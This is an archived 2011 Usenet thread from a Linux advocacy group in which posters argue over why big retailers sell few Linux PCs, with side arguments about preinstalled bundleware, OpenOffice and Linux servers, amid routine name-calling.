> throat that was MS. They turned on him and left him hanging in the wind.
> The second company was using Linux and Oracle while the rest of the shop
> was MS.
>

Given that you are a programmer for a MS-specific platform, it's not 
surprising that you see MS systems!

And of course a attempt to "ram Linux down their throat" was a failure - 
it wouldn't matter what you tried to use if that was the attitude. 
Trying to change an existing server infrastructure to a different 
platform is no small matter.


0
david2384 (2168)
9/6/2011 8:44:41 AM
On 06/09/2011 04:32, Snit wrote:
> Chris Ahlstrom stated in post j43q1p$ui9$3@dont-email.me on 9/5/11 5:33 PM:

>>
>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
>> etc.
>
> Several of those companies have *tried* to sell Linux based systems.  They
> do not sell well.  But you blame Microsoft.
>

None of them tried very hard!

It's a combination of effects - MS's heavy handed business approach is 
only one of them.

The main issue is that to be able to build, sell and support a decent 
selection of Linux machines, a company has to invest in training, 
testing, design, etc.  But the margins are so thin in the branch that 
none of these suppliers can afford that unless there were a big market. 
  And without Linux machines from these suppliers, there will be no 
momentum in the market place.  It's a classic chicken-and-egg situation.

0
david2384 (2168)
9/6/2011 8:48:40 AM
David Brown <david@westcontrol.removethisbit.com> writes:

> On 06/09/2011 02:15, Snit wrote:
>> David Brown stated in post 0rSdnQz_n9TK-fjTnZ2dnUVZ8o-dnZ2d@lyse.net on
>> 9/5/11 5:07 PM:
>>
>>> On 03/09/11 16:34, Snit wrote:
>>>> David Brown stated in post jZadnfiNwcKAtv_TnZ2dnUVZ8oydnZ2d@lyse.net on
>>>> 9/3/11 6:26 AM:
>>>>
>>>>> On 03/09/11 01:38, Big Steel wrote:
>>>>>>
>>>>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>>>>> used which is usually a sign that the user is broke and doesn't have any
>>>>>> money. :)
>>>>>
>>>>> Most Linux desktop users have a Windows license for their machines as
>>>>> well, because it is difficult to buy a machine without one.  If you want
>>>>> a PC without Windows, you usually have to build it yourself - and that
>>>>> is normally more expensive than a pre-build one.
>>>>
>>>> You can also buy one from the following companies:
>>>>
>>>>       Abaco Computers
>>>>       Blackstone Systems
>>>>       Codelock Computer
>>>>       ComputadoresLinux
>>>>       Dell
>>>>       Eight Virtues
>>>>       Emperor Linux
>>>>       eRack
>>>>       Evo Technologies
>>>>       Fit-PC
>>>>       Frostbite Systems
>>>>       Genesi USA
>>>>       HP
>>>>       Inatux
>>>>       LinPC
>>>>       Linutop
>>>>       Linux Certified
>>>>       Linux Emporium
>>>>       Linux-service.be
>>>>       Los Alamos Computers
>>>>       open-pc
>>>>       System76
>>>>       Think Penguin
>>>>       Zareason
>>>>       Zinside
>>>>
>>>> And likely more.
>>>
>>> It is far from easy to buy pre-build PC's either with Linux installed,
>>> or at least without Windows.
>>
>> It is pretty trivial to buy a PC without windows (for an experience user) -
>> esp. if you include Macs as PCs.  But, sure, there is so little demand for
>> them it is not the norm.
>>
>
> Excluding Macs, obviously, it is not easy to get a PC without windows - 
> the big shops and big suppliers don't sell them.  You need to get them from a
> small place that builds themselves, or a company that specialises in such
> machines.  That will often mean better quality machines - but it will mean less
> choice (especially for laptops) and higher prices.

Of course. You said that. Whats your point? If you want a minority
product surely you understand it wont be in every retail outlet? All my
last PCs came without and OS. If you're smart enough to want Linux at
home then you're smart enough to buy a second hand PC and/or a PC
without an OS. Just about every town as a  PC shop that make a PC for
you at a very reasonable cost - without an OS. And you're wrong about
the price. It might well cost more WITH Windows since they charge you
the license cost. If you want Linux it MIGHT cost you more since they
have to install it for you and get HW that they know works with it. 
0
hadronquark (21814)
9/6/2011 9:50:06 AM
David Brown <david@westcontrol.removethisbit.com> writes:

> On 06/09/2011 04:32, Snit wrote:
>> Chris Ahlstrom stated in post j43q1p$ui9$3@dont-email.me on 9/5/11 5:33 PM:
>
>>>
>>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
>>> etc.
>>
>> Several of those companies have *tried* to sell Linux based systems.  They
>> do not sell well.  But you blame Microsoft.
>>
>
> None of them tried very hard!
>
> It's a combination of effects - MS's heavy handed business approach is only one
> of them.
>


I thought you were reasonable at first. As it is you sound like another
whining idiot.

They "didnt try very hard"?

How "hard" do you expect them to try to sell a PC installed with an OS
that most home users simply dont want?

If you WANT Linux its trivial to download and install FOR FREE. I did it
and I'm a "wintroll" apparently.
0
hadronquark (21814)
9/6/2011 9:59:35 AM
David Brown wrote:

> Big Stool wrote:
>>
>> LOL, I have to disagree here in the case of Linux at the desktop being
>> used which is usually a sign that the user is broke and doesn't have any
>> money. :)
>
>Most Linux desktop users have a Windows license for their machines as 
>well, because it is difficult to buy a machine without one.  If you want 
>a PC without Windows, you usually have to build it yourself - and that 
>is normally more expensive than a pre-build one.
>
>People run Linux on desktops because they /choose/ to - not to save money.

Yep, and this has been explained countless times.  Big Stool is just a
typical lying Windows advocate.

0
chrisv (22840)
9/6/2011 12:22:35 PM
David Brown wrote:

> Shit wrote:
>>
>> You can also buy one from the following companies:
>
>It is far from easy to buy pre-build PC's either with Linux installed, 
>or at least without Windows.  It varies quite a bit from country to 
>country - but certainly you are going to get a much smaller selection, 
>and pay higher prices.

Yep.  The Linux pre-builts are *not* less expensive than Windows
pre-builts, largely due to bundleware subsidies and Micro$oft
"incentives".

This has already been explained countless times, of course, but the
Shit troll has to spew the same old lies.

0
chrisv (22840)
9/6/2011 12:26:20 PM
On 06/09/2011 14:26, chrisv wrote:
> David Brown wrote:
>
>> Shit wrote:
>>>
>>> You can also buy one from the following companies:
>>
>> It is far from easy to buy pre-build PC's either with Linux installed,
>> or at least without Windows.  It varies quite a bit from country to
>> country - but certainly you are going to get a much smaller selection,
>> and pay higher prices.
>
> Yep.  The Linux pre-builts are *not* less expensive than Windows
> pre-builts, largely due to bundleware subsidies and Micro$oft
> "incentives".
>
> This has already been explained countless times, of course, but the
> Shit troll has to spew the same old lies.
>

When we (my company) buy PC's with windows installed from a local 
supplier, we pay them extra to remove all the demo versions, 
time-limited software, "Acer security software", "HP Wireless network 
wizard", and such junk.  It is /such/ a time-waste when you buy a 
machine with windows "pre-installed" - you answer a couple of questions 
(such as the language for the installation), then have to wait a couple 
of hours while windows is /actually/ installed, along with piles of 
useless junk.  And you can't just leave the machine to handle it - you 
have to answer the odd question or click "OK" during the process.  Then 
you've got another couple of hours work to get rid of the junk - and you 
hope that removing the manufacturers stupid "extras" doesn't also remove 
drivers for the hardware.

0
david2384 (2168)
9/6/2011 1:55:10 PM
David Brown <david@westcontrol.removethisbit.com> writes:

> On 06/09/2011 14:26, chrisv wrote:
>> David Brown wrote:
>>
>>> Shit wrote:
>>>>
>>>> You can also buy one from the following companies:
>>>
>>> It is far from easy to buy pre-build PC's either with Linux installed,
>>> or at least without Windows.  It varies quite a bit from country to
>>> country - but certainly you are going to get a much smaller selection,
>>> and pay higher prices.
>>
>> Yep.  The Linux pre-builts are *not* less expensive than Windows
>> pre-builts, largely due to bundleware subsidies and Micro$oft
>> "incentives".
>>
>> This has already been explained countless times, of course, but the
>> Shit troll has to spew the same old lies.
>>
>
> When we (my company) buy PC's with windows installed from a local supplier, we
> pay them extra to remove all the demo versions, time-limited software, "Acer
> security software", "HP Wireless network wizard", and such junk.

Simply astonishing.

The buy from someone who does NOT install all that junk.
0
hadronquark (21814)
9/6/2011 2:00:38 PM
On 9/6/2011 8:22 AM, chrisvictim wrote:
> David Brown wrote:
>
>> Big Stool wrote:
>>>
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>>
>> Most Linux desktop users have a Windows license for their machines as
>> well, because it is difficult to buy a machine without one.  If you want
>> a PC without Windows, you usually have to build it yourself - and that
>> is normally more expensive than a pre-build one.
>>
>> People run Linux on desktops because they /choose/ to - not to save money.
>
> Yep, and this has been explained countless times.  Big Stool is just a
> typical lying Windows advocate.
>

All  chris victim can do, the most hated poster in COLA, is lip-service 
3rd party as he does his usual ass-kiss rounds. There is nothing new 
here. This clown is also a MS something and is a hypocrite too. He works 
for Quick Solutions in Westerville, Ohio as MS consulting firm.
0
bigonezzzz (216)
9/6/2011 2:00:59 PM
David Brown stated in post BJSdnWvnxO_1QfjTnZ2dnUVZ8rqdnZ2d@lyse.net on
9/6/11 1:38 AM:

.... 
>>>> You can also buy one from the following companies:
>>>> 
>>>>       Abaco Computers
>>>>       Blackstone Systems
>>>>       Codelock Computer
>>>>       ComputadoresLinux
>>>>       Dell
>>>>       Eight Virtues
>>>>       Emperor Linux
>>>>       eRack
>>>>       Evo Technologies
>>>>       Fit-PC
>>>>       Frostbite Systems
>>>>       Genesi USA
>>>>       HP
>>>>       Inatux
>>>>       LinPC
>>>>       Linutop
>>>>       Linux Certified
>>>>       Linux Emporium
>>>>       Linux-service.be
>>>>       Los Alamos Computers
>>>>       open-pc
>>>>       System76
>>>>       Think Penguin
>>>>       Zareason
>>>>       Zinside
>>>> 
>>>> And likely more.
>>> 
>>> It is far from easy to buy pre-build PC's either with Linux installed,
>>> or at least without Windows.
>> 
>> It is pretty trivial to buy a PC without windows (for an experience user) -
>> esp. if you include Macs as PCs.  But, sure, there is so little demand for
>> them it is not the norm.
> 
> Excluding Macs, obviously, it is not easy to get a PC without windows -
> the big shops and big suppliers don't sell them.

*Can't* sell them... at least not in enough quantity to make it worthwhile
to them.  It is not as if this is based on some conspiracy or something...

> You need to get them from a small place that builds themselves, or a company
> that specialises in such machines.  That will often mean better quality
> machines - but it will mean less choice (especially for laptops) and higher
> prices.

Sure, though such biggies as Dell and Walmart have put their toes in the
pool... and then pulled them back out again.

> MS do not let big companies sell PC's without windows - if a company does
> that, they lose all or most of their rebate on windows licenses.

I would *love* to see support for this.  Given how both Dell and HP and
others *have* tried it I find this very unlikely.  Yes, I know years ago MS
had some illegal deals and they were fined for it.  I am talking *now*.

> You have to be /very/ big to negotiate terms with MS that give you good prices
> for your windows licenses while also selling Linux (or no OS) machines.

Cite?

> So yes, you /can/ buy pre-built machines with Linux or no OS - but they
> are a lot harder to find, and they cost more than if they had windows
> pre-installed.

But why blame MS for this?  I really would love to see your evidence.

>>> It varies quite a bit from country to country - but certainly you are going
>>> to get a much smaller selection, and pay higher prices.
>>> 
>> Sure... when is less demand for a product that is often the case.
> 
> That's the main reason, of course.

Right: not Microsoft.

>>> (That's for desktops and laptops - any serious server supplier will offer
>>> you machines with Linux pre-installed, or no OS if you prefer.)
>>> 
>> You can configure a Dell "server" as you wish... but they used to also have
>> Linux desktops.
> 
> Well, sort of - Dell had a couple of desktop models that they sold with
> outdated versions of Ubuntu in a few countries.

Oh, they have a lot more than that: http://goo.gl/V1JBG and
<http://goo.gl/1I2ET>

You can also get FreeDOS if you want.

> You had to actively search for them - you couldn't find them from sensible
> links from the home page.

And given how they are very much a specialty item, that is exactly what one
should expect!

> The machines cost more than equivalent ones with Windows, and the pages were
> plastered with "Dell recommends Vista" adverts.  When you tried to configure
> the machines, they tried to sell you MS Office for it.

recommends *Vista*?  Um, no.

> Servers are a different matter - there you can get them without an OS, or with
> RHEL or SUSe pre-installed.

Right: where there is demand for other options they make them more visible.
Just as one would expect.
 
.... 
>>> For business use, it is not the zero cost of open source software in
>>> itself that saves money - it is the convenience of not having to think
>>> about licensing or purchasing.  MS Office, for example, is not /that/
>>> expensive - not for a company, anyway.  But for the few users in the
>>> office who have it, it means getting acceptance for the costs, deciding
>>> on the languages (we have Norwegian and English versions of software),
>>> ordering the packages, waiting for the delivery, installing them, etc.
>>> With Open Office, we can simply download the latest version with the
>>> languages we want, and install it on the machines we want.
>> 
>> Sure... and you then have to balance that with the usability of each
>> program.  It is often a bit of a guessing game as to which will serve any
>> given business better in the long run.  I just moved a business to
>> LibreOffice (from WordPerfect).
> 
> I agree.  I find OpenOffice (well, LibreOffice these days) to be a
> better program than MS Office.  Opinions vary, of course, and we try to
> be flexible at my company.  But I would take LibreOffice over MS Office
> regardless of the price difference.

What do you like about it more?

>>> For server usage, the cost savings of Linux and open source software are
>>> substantial - in hardware costs, software costs, client access costs,
>>> and of course in the time saved setting up and maintaining the system.
>>> Although my company uses Windows for most desktop usage, we have used
>>> Linux on servers for over a decade.
>> 
>> Well, on the server side Linux is very, very often the better choice.  For
>> my web hosting, for example, that is what I use.
> 
> Again, I agree - while the cost (especially time) savings is a definite
> big advantage of Linux over Windows on servers, it is not the only
> reason it is a better choice for us.

I am very much an advocate of informed computing - use the tool that works
best for you (in your budget, of course).  Sometimes this means using open
source tools... sometimes it means using close source tools... and sometimes
it means using tools which are a hybrid.  That is very much what I do and
what I suggest for my clients.

In other words: more choice than those who push *just* open source
solutions.  And for this, in COLA, I am deemed to be "anti-choice".  George
Orwell predicted COLA.  :)

.... 



-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 2:12:02 PM
Hadron stated in post uxty8qc7p4.fsf@news.eternal-september.org on 9/6/11
2:59 AM:

> David Brown <david@westcontrol.removethisbit.com> writes:
> 
>> On 06/09/2011 04:32, Snit wrote:
>>> Chris Ahlstrom stated in post j43q1p$ui9$3@dont-email.me on 9/5/11 5:33 PM:
>> 
>>>> 
>>>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>>>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>>>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart,
>>>> Staples,
>>>> etc.
>>> 
>>> Several of those companies have *tried* to sell Linux based systems.  They
>>> do not sell well.  But you blame Microsoft.
>>> 
>> 
>> None of them tried very hard!
>> 
>> It's a combination of effects - MS's heavy handed business approach is only
>> one
>> of them.
>> 
> 
> 
> I thought you were reasonable at first. As it is you sound like another
> whining idiot.
> 
> They "didnt try very hard"?
> 
> How "hard" do you expect them to try to sell a PC installed with an OS
> that most home users simply dont want?
> 
> If you WANT Linux its trivial to download and install FOR FREE. I did it
> and I'm a "wintroll" apparently.

Dell does not *owe* the Linux community anything.  It amazes me how often it
is just assumed, in COLA, that they do.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 2:14:50 PM
David Brown stated in post y5KdndE_FZh7Q_jTnZ2dnUVZ7v6dnZ2d@lyse.net on
9/6/11 1:48 AM:

> On 06/09/2011 04:32, Snit wrote:
>> Chris Ahlstrom stated in post j43q1p$ui9$3@dont-email.me on 9/5/11 5:33 PM:
> 
>>> 
>>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
>>> etc.
>> 
>> Several of those companies have *tried* to sell Linux based systems.  They
>> do not sell well.  But you blame Microsoft.
> 
> None of them tried very hard!

What?  What more do you want of them?

> It's a combination of effects - MS's heavy handed business approach is
> only one of them.

Please show support for this tie to MS.  Remember, when netbooks first came
out and there was some demand for alternate solutions, the market met those
demands.  As those stopped selling, they stopped being sold (go figure)!
 
> The main issue is that to be able to build, sell and support a decent
> selection of Linux machines, a company has to invest in training,
> testing, design, etc.  But the margins are so thin in the branch that
> none of these suppliers can afford that unless there were a big market.

Right: nothing to do with Microsoft's "heavy hand".

>   And without Linux machines from these suppliers, there will be no
> momentum in the market place.  It's a classic chicken-and-egg situation.

Well, without a product that competes well, there will be no demand.
Desktop Linux solutions do keep getting better and better though.



-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 2:17:40 PM
Snit <usenet@gallopinginsanity.com> writes:

> David Brown stated in post BJSdnWvnxO_1QfjTnZ2dnUVZ8rqdnZ2d@lyse.net on
> 9/6/11 1:38 AM:
>
>> MS do not let big companies sell PC's without windows - if a company does
>> that, they lose all or most of their rebate on windows licenses.
>
> I would *love* to see support for this.  Given how both Dell and HP and
> others *have* tried it I find this very unlikely.  Yes, I know years ago MS
> had some illegal deals and they were fined for it.  I am talking *now*.


I missed that bit.

I had hopes for Mr Brown at first. As it is he's another person making
silly and ridiculous claims. He will fit in well in COLA. What a shame.
0
hadronquark (21814)
9/6/2011 2:21:27 PM
On 06/09/2011 10:17 AM, Snit wrote:
> David Brown stated in posty5KdndE_FZh7Q_jTnZ2dnUVZ7v6dnZ2d@lyse.net  on
> 9/6/11 1:48 AM:

[snip]

This is the sort of round'n'round argument that I expect on the Linux 
newsgroups.

Sigh.

Wolf K.
0
wekirch (32)
9/6/2011 2:32:18 PM
chrisv stated in post j64c671pjgsk1fk1g6and84ih6b2q305fu@4ax.com on 9/6/11
5:26 AM:

> David Brown wrote:
> 
>> Shit wrote:
>>> 
>>> You can also buy one from the following companies:
>> 
>> It is far from easy to buy pre-build PC's either with Linux installed,
>> or at least without Windows.  It varies quite a bit from country to
>> country - but certainly you are going to get a much smaller selection,
>> and pay higher prices.
> 
> Yep.  The Linux pre-builts are *not* less expensive than Windows
> pre-builts, largely due to bundleware subsidies and Micro$oft
> "incentives".

There is also cost to testing of systems for compatibility, cost of support,
etc.  Those costs do not go down significantly just because Linux systems do
not sell well.

> This has already been explained countless times, of course, but the
> Shit troll has to spew the same old lies.

Just because you spread false "advocate" FUD does not mean it is accepted!



-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 2:44:02 PM
On 06/09/2011 16:12, Snit wrote:
> David Brown stated in post BJSdnWvnxO_1QfjTnZ2dnUVZ8rqdnZ2d@lyse.net on
> 9/6/11 1:38 AM:
>
> ...
>>>>> You can also buy one from the following companies:
>>>>>
>>>>>        Abaco Computers
>>>>>        Blackstone Systems
>>>>>        Codelock Computer
>>>>>        ComputadoresLinux
>>>>>        Dell
>>>>>        Eight Virtues
>>>>>        Emperor Linux
>>>>>        eRack
>>>>>        Evo Technologies
>>>>>        Fit-PC
>>>>>        Frostbite Systems
>>>>>        Genesi USA
>>>>>        HP
>>>>>        Inatux
>>>>>        LinPC
>>>>>        Linutop
>>>>>        Linux Certified
>>>>>        Linux Emporium
>>>>>        Linux-service.be
>>>>>        Los Alamos Computers
>>>>>        open-pc
>>>>>        System76
>>>>>        Think Penguin
>>>>>        Zareason
>>>>>        Zinside
>>>>>
>>>>> And likely more.
>>>>
>>>> It is far from easy to buy pre-build PC's either with Linux installed,
>>>> or at least without Windows.
>>>
>>> It is pretty trivial to buy a PC without windows (for an experience user) -
>>> esp. if you include Macs as PCs.  But, sure, there is so little demand for
>>> them it is not the norm.
>>
>> Excluding Macs, obviously, it is not easy to get a PC without windows -
>> the big shops and big suppliers don't sell them.
>
> *Can't* sell them... at least not in enough quantity to make it worthwhile
> to them.  It is not as if this is based on some conspiracy or something...
>
>> You need to get them from a small place that builds themselves, or a company
>> that specialises in such machines.  That will often mean better quality
>> machines - but it will mean less choice (especially for laptops) and higher
>> prices.
>
> Sure, though such biggies as Dell and Walmart have put their toes in the
> pool... and then pulled them back out again.
>
>> MS do not let big companies sell PC's without windows - if a company does
>> that, they lose all or most of their rebate on windows licenses.
>
> I would *love* to see support for this.  Given how both Dell and HP and
> others *have* tried it I find this very unlikely.  Yes, I know years ago MS
> had some illegal deals and they were fined for it.  I am talking *now*.
>

MS didn't have "some illegal deals" - they had mostly illegal deals, but 
were only fined for a few.  Manufacturers who tried to complain would 
quickly find themselves paying shelf-price for windows (or DOS - it goes 
that far back).  I'm sure you'd have no problem finding plenty of 
references to the "one license per cpu sold" deals, and can look up the 
history of how IBM could not afford to give away their own OS, OS/2, on 
their own PC's - because it would make the windows licenses too 
expensive on their other PC's.

MS was convicted of abuse of monopoly power, and fined - but the fines 
were so small (compared to MS profits) that made economic sense to break 
the laws and pay the fines.  And MS has always had good business sense. 
  To make sure they did not repeat their offences, they were ordered to 
monitor themselves - and even that order has now run its term.

I haven't bothered to keep track of this particular issue in recent 
times - but I've seen plenty of other shady business practices from 
them.  I'll assume that the leopard has not changed its spots.


>> You have to be /very/ big to negotiate terms with MS that give you good prices
>> for your windows licenses while also selling Linux (or no OS) machines.
>
> Cite?
>
>> So yes, you /can/ buy pre-built machines with Linux or no OS - but they
>> are a lot harder to find, and they cost more than if they had windows
>> pre-installed.
>
> But why blame MS for this?  I really would love to see your evidence.
>

I don't blame MS for this - at least, no more than to a small degree. 
There are lots of reasons behind this, as I have explained.

And even for the part MS plays, it is only fair to remember that they 
are just following the key commandment of capitalism - you must maximize 
the profit for your shareholders.

>>>> It varies quite a bit from country to country - but certainly you are going
>>>> to get a much smaller selection, and pay higher prices.
>>>>
>>> Sure... when is less demand for a product that is often the case.
>>
>> That's the main reason, of course.
>
> Right: not Microsoft.
>

Correct.

I dislike MS as a company, and I dislike their business practices (in 
case you hadn't guessed).  But I don't give them the blame for all the 
world's ills - at least not the /whole/ blame :-)

>>>> (That's for desktops and laptops - any serious server supplier will offer
>>>> you machines with Linux pre-installed, or no OS if you prefer.)
>>>>
>>> You can configure a Dell "server" as you wish... but they used to also have
>>> Linux desktops.
>>
>> Well, sort of - Dell had a couple of desktop models that they sold with
>> outdated versions of Ubuntu in a few countries.
>
> Oh, they have a lot more than that: http://goo.gl/V1JBG and

That's servers...

> <http://goo.gl/1I2ET>
>
> You can also get FreeDOS if you want.
>

Digging through the links takes you mostly back to main selection pages 
(leading to windows-only machines), outdated information pages, and some 
mentions of a couple of end-of-line products that had Linux.

>> You had to actively search for them - you couldn't find them from sensible
>> links from the home page.
>
> And given how they are very much a specialty item, that is exactly what one
> should expect!
>

It's okay to say that Dell doesn't sell Linux on desktops and laptops. 
But if you (or Dell, or anyone else) wants to claim that they /do/, then 
they it should be practical to find them.

>> The machines cost more than equivalent ones with Windows, and the pages were
>> plastered with "Dell recommends Vista" adverts.  When you tried to configure
>> the machines, they tried to sell you MS Office for it.
>
> recommends *Vista*?  Um, no.
>

Past tense - I was referring to the brief time when Dell made a vague 
effort to sell Linux desktops, and had links that were practical to find.

>> Servers are a different matter - there you can get them without an OS, or with
>> RHEL or SUSe pre-installed.
>
> Right: where there is demand for other options they make them more visible.
> Just as one would expect.
>

Again, that's fair enough - Dell, like any serious server supplier, 
sells servers with Linux.  But their vague attempts at selling desktop 
Linux were a bad joke.

> ...
>>>> For business use, it is not the zero cost of open source software in
>>>> itself that saves money - it is the convenience of not having to think
>>>> about licensing or purchasing.  MS Office, for example, is not /that/
>>>> expensive - not for a company, anyway.  But for the few users in the
>>>> office who have it, it means getting acceptance for the costs, deciding
>>>> on the languages (we have Norwegian and English versions of software),
>>>> ordering the packages, waiting for the delivery, installing them, etc.
>>>> With Open Office, we can simply download the latest version with the
>>>> languages we want, and install it on the machines we want.
>>>
>>> Sure... and you then have to balance that with the usability of each
>>> program.  It is often a bit of a guessing game as to which will serve any
>>> given business better in the long run.  I just moved a business to
>>> LibreOffice (from WordPerfect).
>>
>> I agree.  I find OpenOffice (well, LibreOffice these days) to be a
>> better program than MS Office.  Opinions vary, of course, and we try to
>> be flexible at my company.  But I would take LibreOffice over MS Office
>> regardless of the price difference.
>
> What do you like about it more?

The pdf export is, of course, a major feature.  But generally I've found 
it more stable, especially for larger documents, and I find it works 
better for structured documents.  To be fair, this is biased by personal 
use - I don't use MS Office much except to try to help others with 
problems.  But for some reason, the few MS Office users at the company 
have a great deal more problems than the majority who use OpenOffice.

>
>>>> For server usage, the cost savings of Linux and open source software are
>>>> substantial - in hardware costs, software costs, client access costs,
>>>> and of course in the time saved setting up and maintaining the system.
>>>> Although my company uses Windows for most desktop usage, we have used
>>>> Linux on servers for over a decade.
>>>
>>> Well, on the server side Linux is very, very often the better choice.  For
>>> my web hosting, for example, that is what I use.
>>
>> Again, I agree - while the cost (especially time) savings is a definite
>> big advantage of Linux over Windows on servers, it is not the only
>> reason it is a better choice for us.
>
> I am very much an advocate of informed computing - use the tool that works
> best for you (in your budget, of course).  Sometimes this means using open
> source tools... sometimes it means using close source tools... and sometimes
> it means using tools which are a hybrid.  That is very much what I do and
> what I suggest for my clients.
>

I have the same attitude.  For operating systems, that currently means 
mostly Linux on servers, Windows on desktops (often preferring XP).  And 
for application software, it depends on the usage.

> In other words: more choice than those who push *just* open source
> solutions.  And for this, in COLA, I am deemed to be "anti-choice".  George
> Orwell predicted COLA.  :)
>

The "happy middle" is not always happy...



0
david2384 (2168)
9/6/2011 3:19:30 PM
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
NotDashEscaped: You need GnuPG to verify this message

On 09/05/2011 11:02 PM, FromTheRafters wrote:
> Sneaky Weasel wrote:
>> On 09/04/2011 08:12 PM, JEDIDIAH wrote:
>>> On 2011-09-03, Big Steel<"The Steel11177ttta"@Steel11277ttta.com> wrote:
>>>> On 9/2/2011 7:48 PM, Snit wrote:
>>>>> Big Steel stated in post
>>>>> Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
>>>>> 9/2/11 4:38 PM:
>>>>>
>>>>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11
>>>>>>> 4:06 PM:
>>>>>>>
>>>>>>>> JEDIDIAH<jedi@nomad.mishnet> wrote in
>>>>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>>>>
>>>>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com> wrote:
>>>>>>>>>> Hadron<hadronquark@gmail.com> wrote in
>>>>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>>>>
>>>>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely
>>>>>>>>>>> targetted by
>>>>>>>>>>> the usual techniques since the "dumb" userbase is so small -
>>>>>>>>>>> that
>>>>>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>>>>>
>>>>>>>>>> Give it time. That dumb userbase is growing. The "friendlier"
>>>>>>>>>> linux
>>>>>>>>>> gets, the dumber the users you will have. This is what
>>>>>>>>>> happened to
>>>>>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>>>>>> in the background. Not at anyone in particular, but at the
>>>>>>>>>> computer
>>>>>>>>>> industry as a whole.
>>>>>>>>>
>>>>>>>>> You can't get any dumber than the Mac userbase.
>>>>>>>>
>>>>>>>> Not true. I know all kinds of graphics artists who do the mac
>>>>>>>> thing.
>>>>>>>>
>>>>>>>>> So where's all the malware?
>>>>>>>>
>>>>>>>> Mac isn't a windows market. Malware authors are about the money
>>>>>>>> now. When
>>>>>>>> mac has enough people to make it worthwhile, the malware authors
>>>>>>>> will
>>>>>>>> target it.
>>>>>>>>
>>>>>>> Hmmm, Macs have about 20% market share in the use and people pay
>>>>>>> for them,
>>>>>>> on average, about 2-3x as much. So people in the US are spending
>>>>>>> about the
>>>>>>> same for Macs as they are on Windows machines... which implies the
>>>>>>> owners
>>>>>>> might have about the same amount of money to be scammed out of. Or
>>>>>>> at least
>>>>>>> pretty close.
>>>>>>>
>>>>>>> The security by obscurity claim is proving to be largely false.
>>>>>>
>>>>>> LOL, I have to disagree here in the case of Linux at the desktop
>>>>>> being
>>>>>> used which is usually a sign that the user is broke and doesn't
>>>>>> have any
>>>>>> money. :)
>>>>>
>>>>> Sure: Linux users likely have less money - given that one of the
>>>>> primary
>>>>> reasons people use Linux is the lower initial cost.
>>>>>
>>>>>
>>>>
>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>> bother? :)
>>>
>>> Why would that matter? Linux runs on hardware that usually has an OEM
>>> Windows license associated with it. So the argument of "poverty" is
>>> pretty
>>> assinine actually.
>>>
>>> It's WinDOS that is the cheap freebie. That perception has helped drive
>>> it's adoption since the System 6 days.
>>>
>> I run Mint because Windows sucks and Mint works perfectly.
> 
> The best endorsement for Mint I've heard yet. I may have to try it.

I am in middle of testing it myself. And if I decide to move to Mint
from OpenSUSE I will enroll as monthly donor for project, which I urge
everyone who start using Mint as their main distro. Project can not
continue without financial support - me thinks.






-- 
Kari Laine

PICs, Displays,Relays - USB-SPI-I2C http://www.byvac.com
USB and FPGA boards  http://www.ztex.de
I am just a happy customer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.16 (GNU/Linux)
Comment: Using GnuPG with SUSE - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJOZkL6AAoJEPjW/Kjfref2h1AIAIqywEak9KM8vyf/pjRmu3VS
+hsM+cCELaxn6JOigX8Tf6n8F6nRWNJWZ/M52vSVNRBZH5FzrFx5Cs5gWf5GEPge
4J4c3zRPS3329BKXtSUskJNjI9uE8dS18BGwY5yuGy2PZnmAusjq3yPwx0IRfY9M
r19b6cVetj905vXvCuSvUS943Ar65KMPM5ysTtzsh+0YOXdFivJYlqH+4GMtLHd4
0JUHm+TSBP6Fdosf7J9EoJQfwOTvNBNmp9qb0fQZwICLu4u88Y9MC4J5Chnd5s51
HZn2WOCsmfYxqNPyqfM42SqzYlOkDV7kz2zfql8/bD+go9njo2A+3Pcx8n6XVAA=
=qcjq
-----END PGP SIGNATURE-----
0
karitlaine (1051)
9/6/2011 3:57:46 PM
David Brown stated in post INadnamiOoYcp_vTnZ2dnUVZ8g6dnZ2d@lyse.net on
9/6/11 8:19 AM:

....
>>> Excluding Macs, obviously, it is not easy to get a PC without windows -
>>> the big shops and big suppliers don't sell them.
>> 
>> *Can't* sell them... at least not in enough quantity to make it worthwhile
>> to them.  It is not as if this is based on some conspiracy or something...
>> 
>>> You need to get them from a small place that builds themselves, or a company
>>> that specialises in such machines.  That will often mean better quality
>>> machines - but it will mean less choice (especially for laptops) and higher
>>> prices.
>> 
>> Sure, though such biggies as Dell and Walmart have put their toes in the
>> pool... and then pulled them back out again.
>> 
>>> MS do not let big companies sell PC's without windows - if a company does
